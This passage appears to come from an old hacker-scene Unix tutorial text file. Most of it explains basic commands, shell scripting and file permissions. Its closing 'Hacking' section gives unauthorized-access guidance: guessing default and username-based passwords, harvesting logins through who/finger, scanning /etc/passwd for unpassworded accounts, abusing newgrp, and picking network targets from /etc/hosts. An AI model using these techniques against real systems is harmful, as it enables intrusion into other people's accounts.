  8355. * : this can represent any number of characters.  If you specified a "hi*"
  8356.     it would use "hit", him, hiiii, hiya, and ANYTHING that starts with
  8357.     hi.  "H*l" could by hill, hull, hl, and anything that starts with an
  8358.     H and ends with an L.
  8359.  
  8360. [] - The specifies a range.  if i did b[o,u,i]b unix would think: bib,bub,bob
  8361.      if i did: b[a-d]b unix would think: bab,bbb,bcb,bdb.  Get the idea? The
  8362.      [], ?, and * are usually used with copy, deleting files, and directory
  8363.      listings.
  8364.  
  8365. EVERYTHING in Unix is CASE sensitive.  This means "Hill" and "hill" are not
  8366. the same thing.  This allows for many files to be able to be stored, since
  8367. "Hill" "hill" "hIll" "hiLl", etc. can be different files.  So, when using
  8368. the [] stuff, you have to specify capital letters if any files you are dealing
  8369. with has capital letters.  Most everything is lower case though.
  8370.  
  8371. ----------------
  8372. Commands to use:
  8373. ----------------
  8374.  
  8375. Now, I will rundown some of the useful commands of Unix.  I will act
  8376. as if I were typing in the actual command from a prompt.
  8377.  
  8378. ls - this is to get a directory.  With no arguments, it will just print out
  8379.      file names in either one column or multi-column output, depending on the
  8380.      ls program you have access to.
  8381.  
  8382.         example:
  8383.         $ ls
  8384.         hithere
  8385.         runme
  8386.         note.text
  8387.         src
  8388.         $
  8389.         the -l switch will give you extended info on the files.
  8390.         $ ls -l
  8391.         rwx--x--x sirhack     sirh    10990 runme
  8392.         and so on....
  8393.  
  8394. the "rwx--x--x" is the file permission. [Explained Later]
  8395. the "sirhack    sirh" is the owner of the file/group the file is in.
  8396. sirhack = owner, sirh = user-group the file is in [explained later]
  8397. the 10990 is the size of the file in bytes.
  8398. "runme" is the file name.
  8399. The format varies, but you should have the general idea.
  8400.  
  8401. cat - this types out a file onto the screen.  should be used on text files.
  8402.       only use it with binary files to make a user mad [explained later]
  8403.       ex:
  8404.       $ cat note.txt
  8405.       This is a sample text file!
  8406.       $
  8407.  
  8408. cd - change directory .  You do it like this: cd /dir/dir1/dir2/dirn.
  8409.      the dir1/etc.... describes the directory name.  Say I want to get
  8410.      to the root directory.
  8411.      ex:
  8412.      $ cd /
  8413.      *ok, I'm there.*
  8414.      $ ls
  8415.      bin
  8416.      sys
  8417.      etc
  8418.      temp
  8419.      work
  8420.      usr
  8421.  all of the above are directories, lets say.
  8422.      $ cd /usr
  8423.      $ ls
  8424.      sirhack
  8425.      datawiz
  8426.      prophet
  8427.      src
  8428.      violence
  8429.      par
  8430.      phiber
  8431.      scythian
  8432.      $ cd /usr/sirhack
  8433.      $ ls
  8434.      hithere
  8435.      runme
  8436.      note.text
  8437.      src
  8438.      $
  8439. ok, now, you do not have to enter the full dir name.  if you are in
  8440. a directory, and want to get into one that is right there [say "src"], you
  8441. can type "cd src" [no "/"].  Instead of typing "cd /usr/sirhack/src" from the
  8442. sirhack dir, you can type "cd src"
  8443.  
  8444. cp - this copies a file. syntax for it is "cp fromfile tofile"
  8445.      $ cp runme runme2
  8446.      $ ls
  8447.      hithere
  8448.      runme
  8449.      note.text
  8450.      src
  8451.      runme2
  8452. Full pathnames can be included, as to copy it to another directory.
  8453.      $ cp runme /usr/datwiz/runme
  8454.  
  8455. mv - this renames a file. syntax "mv oldname newname"
  8456.      $ mv runme2 runit
  8457.      $ ls
  8458.      hithere
  8459.      runme
  8460.      note.text
  8461.      src
  8462.      runit
  8463.     files can be renamed into other directories.
  8464.      $ mv runit /usr/datwiz/run
  8465.      $ ls
  8466.      hithere
  8467.      runme
  8468.      note.text
  8469.      src
  8470.      $ ls /usr/datwiz
  8471.      runme
  8472.      run
  8473.  
  8474. pwd - gives current directory
  8475.      $ pwd
  8476.      /usr/sirhack
  8477.      $ cd src
  8478.      $ pwd
  8479.      /usr/sirhack/src
  8480.      $ cd ..
  8481.      $ pwd
  8482.      /usr/sirhack
  8483.      [ the ".." means use the name one directory back. ]
  8484.      $ cd ../datwiz
  8485.        [translates to cd /usr/datwiz]
  8486.      $ pwd
  8487.      /usr/datwiz
  8488.      $ cd $home
  8489.      [goto home dir]
  8490.      $ pwd
  8491.      /usr/sirhack
  8492.  
  8493. rm - delete a file.  syntax "rm filename" or "rm -r directory name"
  8494.      $ rm note.text
  8495.      $ ls
  8496.      hithere
  8497.      runme
  8498.      src
  8499.      $
  8500.  
  8501. write - chat with another user.  Well, "write" to another user.
  8502. syntax: "write username"
  8503.     $ write scythian
  8504.     scythian has been notified
  8505.     Hey Scy! What up??
  8506.     Message from scythian on tty001 at 17:32
  8507.     hey!
  8508.     me: So, hows life?
  8509.     scy: ok, I guess.
  8510.     me: gotta go finish this text file.
  8511.     scy: ok
  8512.     me: control-D [to exit program]
  8513.     $
  8514.  
  8515. who [w,who,whodo] - print who is online
  8516.     $ who
  8517.     login       term   logontime
  8518.     scythian +  tty001 17:20
  8519.     phiberO  +  tty002 15:50
  8520.     sirhack  +  tty003 17:21
  8521.     datawiz  -  tty004 11:20
  8522.     glitch   -  tty666 66:60
  8523.     $
  8524.     the "who" commands may vary in the information given.  a "+" means
  8525.     you can "write" to their terminal, a "-" means you cannot.
  8526.  
  8527. man - show a manual page entry.  syntax "man command name"  This is a help
  8528.       program.  If you wanted to know how to use... "who" you'd type
  8529.     $ man who
  8530.     WHO(1)   xxx......
  8531.       and it would tell you.
  8532.  
  8533. stty - set your terminal characteristics.  You WILL have to do "man stty"
  8534.      since each stty is different, it seems like.
  8535.      an example would be:
  8536.     $ stty -parenb
  8537.       to make the data params N,8,1.  A lot of Unixes operate at
  8538.       e,7,1 by default.
  8539. sz,rz - send and recieve via zmodem
  8540. rx,sx - send / recieve via xmodem
  8541. rb,sb - send via batch ymodem.   These 6 programs may or may not be on a unix.
  8542. umodem - send/recieve via umodem.
  8543.       $ sz filename
  8544.       ready to send...
  8545.       $ rz filename
  8546.       please send your file....
  8547.       ...etc..
  8548.  
  8549. ed - text editor.  Usage "ed filename"  to create a file that doesn't
  8550.      exist, just enter in "ed filename"
  8551.      some versions of ed will give you a prompt, such as "*" others will not
  8552.      $ ed newtext
  8553.      0
  8554.      * a
  8555.      This is line 1
  8556.      This is line 2
  8557.      [control-z]
  8558.      * 1 [to see line one]
  8559.      This is line 1
  8560.      * a [keep adding]
  8561.      This is line 3
  8562.      [control-z]
  8563.      *0a [add after line 0]
  8564.      This is THE first line
  8565.      [control-z]
  8566.      1,4l
  8567.      This is THE first line
  8568.      This is line 1
  8569.      This is line 2
  8570.      This is line 3
  8571.      * w
  8572.      71
  8573.      * q
  8574.      $
  8575.    The 71 is number of bytes written.
  8576.    a = append
  8577.    l = list
  8578.    # = print line number
  8579.    w - write
  8580.    l fname = load fname
  8581.    s fname = save to fname
  8582.    w = write to current file
  8583.    q = quit
  8584. mesg - turn write permissions on or off to your terminal (allow chat)
  8585.      format "mesg y" or "mesg n"
  8586. cc - the C compiler.  don't worry about this one right now.
  8587. chmod - change mode of a file.  Change the access in other words.
  8588.         syntax: "chmod mode filename"
  8589.         $ chmod a+r newtext
  8590.       Now everyone can read newtext.
  8591.       a = all
  8592.       r = read.  This will be explained further in the File System section.
  8593.  
  8594. chown - change the owner of a file.
  8595.        syntax: "chown owner filename"
  8596.        $ chown scythian newtext
  8597.        $
  8598. chgrp - change the group [explained later] of a file.
  8599.        syntax: "chgrp group file"
  8600.        $ chgrp root runme
  8601.        $
  8602. finger - print out basic info on an account.  Format: finger username
  8603. grep - search for patterns in a file.  syntax: "grep pattern file"
  8604.        $ grep 1 newtext
  8605.        This is Line 1
  8606.        $ grep THE newtext
  8607.        This is THE first line
  8608.        $ grep "THE line 1" newtext
  8609.        $
  8610.  
  8611. mail - This is a very useful utility.  Obviously, you already know what it
  8612.         is by its name.  There are several MAIL utilities, such as ELM, MUSH
  8613.         and MSH, but the basic "mail" program is called "mail".  The usage
  8614.         is:
  8615.         "mail username@address" or
  8616.         "mail username"
  8617.         or
  8618.         "mail"
  8619.         or "mail addr1!addr2!addr3!user"
  8620.  
  8621.         "mail username@address" - This is used to send mail to someone on
  8622. another system, which is usually another UNIX, but some DOS machines and some
  8623. VAX machines can recieve Unix Mail.  When you use "mail user@address" the
  8624. system you are on MUST have a "smart mailer" [known as smail], and must
  8625. have what we call system maps.  The smart mailer will find the "adress" part
  8626. of the command and expand it into the full pathname usually.  I could look
  8627. like this: mail phiber@optik
  8628.            then look like this to the computer:
  8629.  
  8630.            mail sys1!unisys!pacbell!sbell!sc1!att.com!sirhacksys!optik!phiber
  8631.  
  8632. Do not worry about it, I was merely explaining the principal of the thing.
  8633. Now, if there is no smart mailer online, you'll have to know the FULL path
  8634. name of the person you wish to mail to. For Instance, I want to mail to
  8635. .. phiber.  I'd do this if there were no smart mailer:
  8636.  
  8637.   $ mail sys!unisys!pacbell!sbell!sc1!att.com!sirhacksys!optik!phiber
  8638.  
  8639.     Hey Guy.  Whats up?  Well, gotta go.  Nice long message huh?
  8640.     [control-D]
  8641.   $
  8642. Then, when he got it, there would be about 20 lines of information, with
  8643. like a post mark from every system my message went thru, and the "from" line
  8644. would look like so:
  8645.  
  8646. >From optik!sirhacksys!att.com!sc1!sbell!pacbell!unisys!sys!sirhack <Sir Hack>
  8647.  
  8648.         Now, for local mailing, just type in "mail username" where username
  8649. is the login you want to send mail to.  Then type in your message.  Then
  8650. end it with a control-D.
  8651.  
  8652.         To read YOUR mail, just type in mail.  IE:
  8653.  
  8654.         $ mail
  8655.  
  8656.         From scythian ............
  8657.         To sirhack ............
  8658.         Subject: Well....
  8659.  
  8660.         Arghhh!
  8661.  
  8662.         ?
  8663.  The dots represent omitted crap.  Each Mail program makes its own headings.
  8664.  That ? is a prompt.  At this prompt I can type:
  8665.  
  8666.         d - delete
  8667.         f username - forward to username
  8668.         w fname - write message to a file named fname
  8669.         s fname - save message with header into file
  8670.         q - quit / update mail
  8671.         x - quit, but don't change a thing
  8672.         m username - mail to username
  8673.         r - reply
  8674.         [enter] - read next message
  8675.         + - go forward one message
  8676.         - : go back one
  8677.         h - print out message headers that are in your mailbox.
  8678.  
  8679. There are others, to see them, you'd usually hit '?'.
  8680.  
  8681. --------
  8682.  
  8683. If you send mail to someone not on your system, you will have to wait longer
  8684. for a reply, since it is just as a letter.  A "postman" has to pick it up.
  8685. The system might call out, and use UUCP to transfer mail.  Usually, uucp
  8686. accounts are no good to one, unless you have uucp available to intercept mail.
  8687.  
  8688. ps - process.  This command allows you to see what you are actually doing
  8689. in memory.  Everytime you run a program, it gets assigned a Process Id number
  8690. (PID), for accounting purposes, and so it can be tracked in memory, as
  8691. well as shut down by you, or root.  usually, the first thing in a process
  8692. list given by "ps" is your shell name.  Say I was logged in under sirhack,
  8693. using the shell "csh" and running "watch scythian".  The watch program would
  8694. go into the background, meaning I'd still be able to do things while it was
  8695. running:
  8696.   $ ps
  8697.   PID  TTY  NAME
  8698.   122  001  ksh
  8699.   123  001  watch
  8700.   $
  8701.   That is a shortened PS.  That is the default listing [a brief one].
  8702.   The TTY column represents the "tty" [i/o device] that the process is being
  8703.   run from.  This is only useful really if you are using layers (don't worry)
  8704.   or more than one person is logged in with the same account name.  Now,
  8705.   "ps -f" would give a full process listing on yourself, so instead of
  8706.   seeing just plain ole "watch" you'd most likely see "watch scythian"
  8707.  
  8708. kill - kill a process.  This is used to terminate a program in memory obvio-
  8709. ously.  You can only kill processes you own [ones you started], unless you
  8710. are root, or your EUID is the same as the process you want to kill.
  8711. (Will explain euid later).  If you kill the shell process, you are logged
  8712. off.  By the same token, if you kill someone else's shell process, they
  8713. are logged off.  So, if I said "kill 122" I would be logged off.  However,
  8714. kill only sends a signal to UNIX telling it to kill off a process.  If
  8715. you just use the syntax "kill pid" then UNIX kills the process WHEN it feels
  8716. like it, which may be never.  So, you can specify urgency! Try "kill -num pid"
  8717. Kill -9 pid  is a definite kill almost instantly.  So if I did this:
  8718.  $ kill 122
  8719.  $ kill 123
  8720.  $ ps
  8721.  PID   TTY   NAME
  8722.  122   001   ksh
  8723.  123   001   watch
  8724.  $ kill -9 123
  8725.  [123]: killed
  8726.  $ kill -9 122
  8727.  garbage
  8728.  NO CARRIER
  8729.  
  8730. Also, you can do "kill -1 0" to kill your shell process to log yourself off.
  8731. This is useful in scripts (explained later).
  8732.  
  8733. -------------------
  8734. Shell Programmin'
  8735. -------------------
  8736.  
  8737.         Shell Programming is basically making a "script" file for the
  8738. standard shell, being sh, ksh, csh, or something on those lines.  Its
  8739. like an MSDOS batch file, but more complex, and more Flexible.
  8740. This can be useful in one aspect of hacking.
  8741.  
  8742.  
  8743. First, lets get into variables.  Variables obviously can be assigned
  8744. values.  These values can be string values, or numberic values.
  8745.  
  8746. number=1
  8747.  
  8748.         That would assign 1 to the variable named "number".
  8749.  
  8750. string=Hi There
  8751. or
  8752. string="Hi There"
  8753.  
  8754.         Both would assign "Hi there" to a variable.
  8755.  
  8756.         Using a variable is different though.  When you wish to use a variable
  8757.         you must procede it with a dollar ($) sign.  These variables can
  8758.         be used as arguments in programs.  When I said that scripts are
  8759.         like batch files, I meant it.  You can enter in any name of a program
  8760.         in a script file, and it will execute it. Here is a sample script.
  8761.  
  8762. counter=1
  8763. arg1="-uf"
  8764. arg2="scythian"
  8765.  
  8766. ps $arg1 $arg2
  8767.  
  8768. echo $counter
  8769.  
  8770.         That script would translate to "ps -uf scythian" then would print
  8771.         "1" after that was finished.  ECHO prints something on the screen
  8772.         whether it be numeric, or a string constant.
  8773.  
  8774. Other Commands / Examples:
  8775.  
  8776. read - reads someting into a variable.  format : read variable .  No dollar
  8777.         sign is needed here!  If I wwanted to get someone's name, I could
  8778.         put:
  8779.  
  8780. echo "What is your name?"
  8781. read hisname
  8782. echo Hello $hisname
  8783.  
  8784.         What is your name?
  8785.         Sir Hackalot
  8786.         Hello Sir Hackalot
  8787.  
  8788.         Remember, read can read numeric values also.
  8789.  
  8790. trap - This can watch for someone to use the interrupt character. (Ctrl-c)
  8791.        format: trap "command ; command ; command ; etc.."
  8792. Example:
  8793.         trap "echo 'Noway!! You are not getting rid o me that easy' ; echo
  8794.         'You gotta see this through!'"
  8795.  
  8796.         Now, if I hit control-c during the script after this statement was
  8797.         executed, I'd get:
  8798.         Noway!! You are not getting rid of me that easy
  8799.         You gotta see this through!
  8800.  
  8801. exit : format :exit [num]  This exists the shell [quits] with return
  8802.         code of num.
  8803.  
  8804. -----
  8805. CASE
  8806. -----
  8807.  
  8808.         Case execution is like a menu choice deal.  The format of the command
  8809.         or structure is :
  8810.         case variable in
  8811.         1) command;
  8812.            command;;
  8813.         2) command;
  8814.            command;
  8815.            command;;
  8816.         *) command;;
  8817.          esac
  8818.         Each part can have any number of commands. The last command however
  8819.         must have a ";;".  Take this menu:
  8820.  
  8821.         echo "Please Choose:"
  8822.         echo "(D)irectory (L)ogoff (S)hell"
  8823.         read choice
  8824.         case $choice in
  8825.  
  8826.         D) echo "Doing Directory...";
  8827.            ls -al ;;
  8828.         L) echo Bye;
  8829.            kill -1 0;;
  8830.         S) exit;;
  8831.         *) Echo "Error! Not a command";;
  8832.         esac
  8833.  
  8834.         The esac marks the end of a case function.  It must be after the
  8835.         LAST command.
  8836.  
  8837. Loops
  8838. -----
  8839.  
  8840.         Ok, loops.  There are two loop functins.  the for loops, and the
  8841.         repeat.
  8842.  
  8843.         repeat looks like this: repeat something somethin1 somethin2
  8844.         this would repeat a section of your script for each "something".
  8845.         say i did this:
  8846.         repeat scythian sirhack prophet
  8847.  
  8848.         I may see "scythian" then sirhack then prophet on my screen.
  8849.  
  8850.         The for loop is defined as "for variable in something
  8851.                                     do
  8852.                                     ..
  8853.                                     ..
  8854.                                     done"
  8855.  
  8856.         an example:
  8857.         for counter in 1 2 3
  8858.         do
  8859.         echo $counter
  8860.         done
  8861.  
  8862.         That would print out 1 then 2 then 3.
  8863.  
  8864. Using TEST
  8865. ----------
  8866. The format:  Test variable option variable
  8867.  
  8868. The optios are:
  8869. -eq    =
  8870. -ne    <> (not equal)
  8871. -gt    >
  8872. -lt    <
  8873. -ge    >=
  8874. -le    <=
  8875.  
  8876. for strings its: = for equal  != for not equal.
  8877.  
  8878. If the condition is true, a zero is returned.  Watch:
  8879.  
  8880.         test 3 -eq 3
  8881.  
  8882. that would be test 3 = 3, and 0 would be returned.
  8883.  
  8884. EXPR
  8885. ----
  8886.  
  8887. This is for numeric functions.  You cannot simply type in
  8888. echo 4 + 5
  8889. and get an answer most of the time.  you must say:
  8890. expr variable [or number] operator variable2 [or number]
  8891. the operators are:
  8892.  
  8893. + add
  8894. - subtract
  8895. * multiply
  8896. / divide
  8897. ? - power (on some systems)
  8898.  
  8899. example :   expr 4 + 5
  8900. var = expr 4 + 5
  8901. var would hold 9.
  8902.  
  8903.         On some systems, expr sometimes prints out a formula.  I mean,
  8904.         22+12 is not the same as 22 + 12.  If you said expr 22+12 you
  8905.         would see:
  8906.         22+12
  8907.         If you did expr 22 + 12 you'd see:
  8908.         34
  8909.  
  8910.  
  8911. SYSTEM VARIABLES
  8912. ----------------
  8913.  
  8914.         These are variables used by the shell, and are usually set in the
  8915. system wide .profile [explained later].
  8916. HOME - location of your home directory.
  8917. PS1  - The prompt you are given.  usually $ .  On BSD its usually &
  8918. PATH - This is the search path for programs.  When you type in a program
  8919. to be run, it is not in memory; it must be loaded off disk.  Most commands
  8920. are not in Memory like MSDOS.  If a program is on the search path, it may
  8921. be executed no matter where you are.  If not, you must be in the directory
  8922. where the program is.  A path is a set of directories basically, seperated by
  8923. ":"'s.  Here is a typical search path:
  8924.  
  8925.         :/bin:/etc:/usr/lbin:$HOME:
  8926.  
  8927. When you tried to execute a program, Unix would look for it in /bin,
  8928. /etc, /usr/lbin, and your home directory, and if its not found, an error is
  8929. spewed out.  It searches directories in ORDER of the path.  SO if you had a
  8930. program named "sh" in your home directory, and typed in "sh", EVEN if
  8931. you were in your home dir, it would execute the one in /bin. So, you
  8932. must set your paths wisely.  Public access Unixes do this for you, but systems
  8933. you may encounter may have no path set.
  8934.  
  8935. TERM - This is your terminal type.  UNIX has a library of functions called
  8936. "CURSES" which can take advantage of any terminal, provided the escape
  8937. codes are found.  You must have your term set to something if you run
  8938. screen oriented programs.  The escape codes/names of terms are found
  8939. in a file called TERMCAP.  Don't worry about that.  just set your term
  8940. to ansi or vt100.  CURSES will let you know if it cannot manipulate your
  8941. terminal emulation.
  8942.  
  8943.  
  8944. -------------------
  8945. The C compiler
  8946. -------------------
  8947.  
  8948.         This Will be BRIEF.  Why?  Becuase if you want to learn C, go
  8949.         buy a book.  I don't have time to write another text file on
  8950.         C, for it would be huge.  Basically, most executables are programmed
  8951.         in C.  Source code files on unix are found as filename.c  .
  8952.         To compile one, type in "cc filename.c".  Not all C programs
  8953.         will compile, since they may depend on other files not there, or
  8954.         are just modules.  If you see a think called "makefile" you can
  8955.         usually type in just "make" at the command prompt, and something
  8956.         will be compiled, or be attempted to compile.  When using make or
  8957.         CC, it would be wise to use the background operand since
  8958.         compiling sometimes takes for ever.
  8959.         IE:
  8960.         $ cc login.c&
  8961.         [1234]
  8962.         $
  8963.         (The 1234 was the process # it got identified as).
  8964.  
  8965.  
  8966. _____________________________________________________________________________
  8967.  
  8968. ---------------
  8969. The FILE SYSTEM
  8970. ---------------
  8971.  
  8972.         This is an instrumental part of UNIX.  If you do not understand this
  8973. section, you'll never get the hang of hacking Unix, since a lot of Pranks
  8974. you can play, and things you can do to "raise your access" depend on it.
  8975.  
  8976. First, Let's start out by talking about the directory structure.  It is
  8977. basically a Hiearchy file system, meaning, it starts out at a root directory
  8978. and expands, just as MSDOS, and possibly AmigaDos.
  8979.  
  8980. Here is a Directory Tree of sorts:  (d) means directory
  8981.  
  8982.                         /  (root dir)
  8983.                         |
  8984.                         |--------------------|
  8985.                       bin (d)               usr (d)
  8986.                                         ----?--------------------
  8987.                                         |        |              |
  8988.                                     sirhack(d)  scythian (d)    prophet (d)
  8989.                                         |
  8990.                                         src (d)
  8991.  
  8992. Now, this particular system contains the following directories:
  8993. /
  8994. /bin
  8995. /usr
  8996. /usr/sirhack
  8997. /usr/sirhack/src
  8998. /usr/scythian
  8999. /usr/prophet
  9000.  
  9001. Hopefully, you understood that part, and you should.  Everything spawns from
  9002. the root directory.
  9003.  
  9004. o File Permissions!
  9005. ------------------
  9006.  
  9007. Now, this is really the biggie.  File Permissions.  It is not that hard to
  9008. understand file permissions, but I will explain them deeply anyway.
  9009.  
  9010. OK, now you must think of user groups as well as user names.  Everyone
  9011. belongs to a group.  at the $ prompt, you could type in 'id' to see what
  9012. group you are in.  Ok, groups are used to allow people access certain things,
  9013. instead of just having one person controlling/having access to certain files.
  9014. Remember also, that Unix looks at someone's UID to determine access, not
  9015. user name.
  9016.  
  9017. Ok.  File permissions are not really that complicated.  Each file has an owner
  9018. This OWNER is usually the one who creates the file, either by copying a file
  9019. or just by plain editing one.  The program CHOWN can be used to give someone
  9020. ownership of a file.  Remember that the owner of a file must be the one who
  9021. runs CHOWN, since he is the only one that can change the permissions of a file
  9022. Also, there is a group owner, which is basically the group that you were in
  9023. when the file was created.  You would use chgrp to change the group a file is
  9024. in.
  9025.  
  9026. Now, Files can have Execute permissions, read permissions, or write permission.
  9027. If you have execute permission, you know that you can just type in the name
  9028. of that program at the command line, and it will execute.  If you have read
  9029. permission on a file, you can obviously read the file, or do anything that
  9030. reads the file in, such as copying the file or cat[ing] it (Typing it).
  9031. If you do NOT have access to read a file, you can't do anything that requires
  9032. reading in the file.  This is the same respect with write permission.  Now,
  9033. all the permissions are arranged into 3 groups.  The first is the owner's
  9034. permissions.  He may have the permissions set for himself to read and execute
  9035. the file, but not write to it.  This would keep him from deleting it.
  9036. The second group is the group permissions.  Take an elongated directory
  9037. for an example:
  9038.  $ ls -l runme
  9039.  r-xrwxr-- sirhack       root     10990 March 21  runme
  9040.  
  9041. ok.  Now, "root" is the groupname this file is in.  "sirhack" is the owner.
  9042. Now, if the group named 'root' has access to read, write and execute, they
  9043. could do just that.  Say .. Scythian came across the file, and was in the root
  9044. user group.  He could read write or execute the file.  Now, say datawiz came
  9045. across it, but was in the "users" group.  The group permissions would not
  9046. apply to him, meaning he would have no permissions, so he couldn't touch
  9047. the file, right?  Sorta.  There is a third group of permissions, and this is
  9048. the "other" group.  This means that the permissions in the "other" group
  9049. apply to everyone but the owner, and the users in the same group as the file.
  9050. Look at the directory entry above.  the r-x-rwxr-- is the permissions line.
  9051. The first three characters are the permissions for the owner (r-x).  The
  9052. "r-x" translates to "Read and execute permissions, but no write permissions"
  9053. the second set of three, r-xRWXr-- (the ones in capital letters) are the group
  9054. permissions.  Those three characters mean "Read, write, and execution allowed"
  9055. The 3rd set, r-xrwxR-- is the permissions for everyone else.  It means
  9056. "Reading allowed, but nothing else".  A directory would look something like
  9057. this:
  9058.  $ ls -l
  9059.  drwxr-xr-x sirhack     root  342 March 11  src
  9060.  
  9061. A directory has a "d" at the beggining of the permissions line.  Now, the
  9062. owner of the directory (sirhack) can read from the directory, write in the
  9063. directory, and execute programs from the directory.  The root group and every-
  9064. one else can only read from the directory, and execute off the directory.
  9065. So, If I changed the directory to be executable only, this is
  9066. what it would look like:
  9067.  $ chmod go-r
  9068.  $ ls
  9069.  drwx--x--x sirhack   root  342  March 11  src
  9070.  
  9071. Now, if someone went into the directory besides "sirhack", they could only
  9072. execute programs in the directory.  If they did an "ls" to get a directory
  9073. of src, when they were inside src, it would say "cannot read directory".
  9074. If there is a file that is readable in the directory, but the directory is
  9075. not readable, it is sometimes possible to read the file anyway.
  9076.  
  9077. If you do not have execute permissions in a directory, you won't be able to
  9078. execute anything in the directory, most of the time.
  9079.  
  9080. _____________________________________________________________________________
  9081.  
  9082. --------------
  9083. Hacking:
  9084. --------------
  9085.         The first step in hacking a UNIX is to get into the operating system
  9086. by finding a valid account/password.  The object of hacking is usually to
  9087. get root (full privileges), so if you're lucky enough to get in as root,
  9088. you need not read anymore of this hacking phile , and get into the
  9089. "Having Fun" Section.  Hacking can also be just to get other's accounts also.
  9090.  
  9091. Getting IN
  9092. ----------
  9093.         The first thing to do is to GET IN to the Unix.  I mean, get past
  9094. the login prompt.  That is the very first thing.  When you come across a UNIX,
  9095. sometimes it will identify itself by saying something like,
  9096. "Young INC. Company UNIX"
  9097.  
  9098. or Just
  9099. "Young Inc.  Please login"
  9100.  
  9101.         Here is where you try the defaults I listed.  If you get in with those
  9102. you can get into the more advanced hacking (getting root). If you do something
  9103. wrong at login, you'll get the message
  9104. "login incorrect"
  9105. This was meant to confuse hackers, or keep the wondering.  Why?
  9106. Well, you don't know if you've enterred an account that does not exist, or one
  9107. that does exist, and got the wrong password.  If you login as root and it says
  9108. "Not on Console", you have a problem.  You have to login as someone else,
  9109. and use SU to become root.
  9110.  
  9111.    Now, this is where you have to think.  If you cannot get in with a
  9112. default, you are obviously going to have to find something else to
  9113. login as.  Some systems provide a good way to do this by allowing the use
  9114. of command logins.  These are ones which simply execute a command, then
  9115. logoff.  However, the commands they execute are usually useful.  For instance
  9116. there are three common command logins that tell you who is online at the
  9117. present time.  They are:
  9118.         who
  9119.         rwho
  9120.         finger
  9121.  
  9122.     If you ever successfully get one of these to work, you can write down
  9123. the usernames of those online, and try to logon as them.  Lots of unsuspecting
  9124. users use there login name as their password.  For instance, the user
  9125. "bob" may have a password named "bob" or "bob1".   This, as you know, is
  9126. not smart, but they don't expect a hacking spree to be carried out on
  9127. them.  They merely want to be able to login fast.
  9128.    If a command login does not exist, or is not useful at all, you will
  9129. have to brainstorm.  A good thing to try is to use the name of the unix
  9130. that it is identified as.  For instance, Young INC's Unix may have an account
  9131. named "young"
  9132.         Young, INC.  Please Login.
  9133.         login: young
  9134.         UNIX SYSTEM V REL 3.2
  9135.         (c)1984 AT&T..
  9136.         ..
  9137.         ..
  9138.         ..
  9139.  
  9140.    Some unixes have an account open named "test".  This is also a default,
  9141. but surprisingly enough, it is sometimes left open.  It is good to try to
  9142. use it.  Remember, brainstorming is the key to a unix that has no apparent
  9143. defaults open.  Think of things that may go along with the Unix.  type
  9144. in stuff like "info", "password", "dial", "bbs" and other things that
  9145. may pertain to the system.  "att" is present on some machines also.
  9146.  
  9147. ONCE INSIDE -- SPECIAL FILES
  9148. ----------------------------
  9149.         There are several files that are very important to the UNIX
  9150. environment.  They are as follows:
  9151.  
  9152. /etc/passwd  - This is probably the most important file on a Unix.  Why?
  9153.                well, basically, it holds the valid usernames/passwords.
  9154.                This is important since only those listed in the passwd
  9155.                file can login, and even then some can't (will explain).
  9156.                The format for the passwordfile is this:
  9157.  
  9158. username:password:UserID:GroupID:description(or real name):homedir:shell
  9159.  
  9160.                 Here are two sample entries:
  9161.  
  9162. sirhack:89fGc%?7&a,Ty:100:100:Sir Hackalot:/usr/sirhack:/bin/sh
  9163. demo::101:100:Test Account:/usr/demo:/usr/sh
  9164.  
  9165.                 In the first line, sirhack is a valid user.  The second
  9166.                 field, however, is supposed to be a password, right?  Well,
  9167.                 it is, but it's encrypted with the DES encryption standard.
  9168.                 the part that says "&a,Ty" may include a date after the comma
  9169.                 (Ty) that tells unix when the password expires.  Yes, the
  9170.                 date is encrypted into two alphanumeric characters (Ty).
  9171.  
  9172.                 In the Second example, the demo account has no password.
  9173.                 so at Login, you could type in:
  9174.  
  9175. login: demo
  9176. UNIX system V
  9177. (c)1984 AT&T
  9178. ..
  9179. ..
  9180.  
  9181.                 But with sirhack, you'd have to enter a password.  Now,
  9182.                 the password file is great, since a lot of times, you;ll
  9183.                 be able to browse through it to look for unpassworded
  9184.                 accounts.  Remember that some accounts can be restricted
  9185.                 from logging in, as such:
  9186.  
  9187. bin:*:2:2:binaccount:/bin:/bin/sh
  9188.  
  9189.                 The '*' means you won't be able to login with it.  Your
  9190.                 only hope would be to run an SUID shell (explained later).
  9191.  
  9192.         A note about the DES encryption:  each unix makes its own unique
  9193. "keyword" to base encryption off of.  Most of the time its just random letters
  9194. and numbers.  Its chosen at installation time by the operating system.
  9195.         Now, decrypting DES encrypted things ain't easy.  Its pretty much
  9196. impossible.  Especially decrypting the password file (decrypting the password
  9197. field within the password file to be exact).  Always beware a hacker who
  9198. says he decrypted a password file.  He's full of shit.  Passwords are
  9199. never decrypted on unix, but rather, a system call is made to a function
  9200. called "crypt" from within the C language, and the string you enter as
  9201. the password gets encrypted, and compared to the encrypted password.  If
  9202. they match, you're in.  Now, there are password hackers, but they donot
  9203. decrypt the password file, but rather, encrypt words from a dictionary
  9204. and try them against every account (by crypting/comparing) until it finds
  9205. a match (later on!).  Remember, few, if none, have decrypted the password
  9206. file successfuly.
  9207.  
  9208. /etc/group - This file contains The valid groups.  The group file is usually
  9209.              defined as this:
  9210.              groupname:password:groupid:users in group
  9211.  
  9212.          Once again, passwords are encrypted here too.  If you see a blank
  9213.          in the password entry you can become part of that group by
  9214.          using the utility "newgrp". Now, there are some cases in
  9215.          which even groups with no password will allow only certain
  9216.          users to be assigned to the group via the newgrp command. Usually,
  9217.          if the last field is left blank, that means any user can use newgrp
  9218.          to get that group's access.  Otherwise, only the users specified in
  9219.          the last field can enter the group via newgrp.
  9220.  
  9221.         Newgrp is just a program that will change your group current
  9222.         group id you are logged on under to the one you specify.  The
  9223.         syntax for it is:  newgrp groupname
  9224.         Now, if you find a group un passworded, and use newgrp to
  9225.         enter it, and it asks for a password, you are not allowed to use
  9226.         the group.  I will explain this further in The "SU & Newgrp" section.
  9227.  
  9228. /etc/hosts - this file contains a list of hosts it is connected to thru
  9229.              a hardware network (like an x.25 link or something), or sometimes
  9230.              just thru UUCP.  This is a good file when you are hacking a
  9231.              large network, since it tells you systems you can use with
  9232.              rsh (Remote Shell, not restricted shell), rlogin, and telnet,
  9233.              as well as other ethernet/x.25 link programs.
  9234.  
  9235. /usr/adm/sulog (or su_log) - the file sulog (or su_log) may be found in
  9236.              Several directories, but it is usually in /usr/adm.  This file
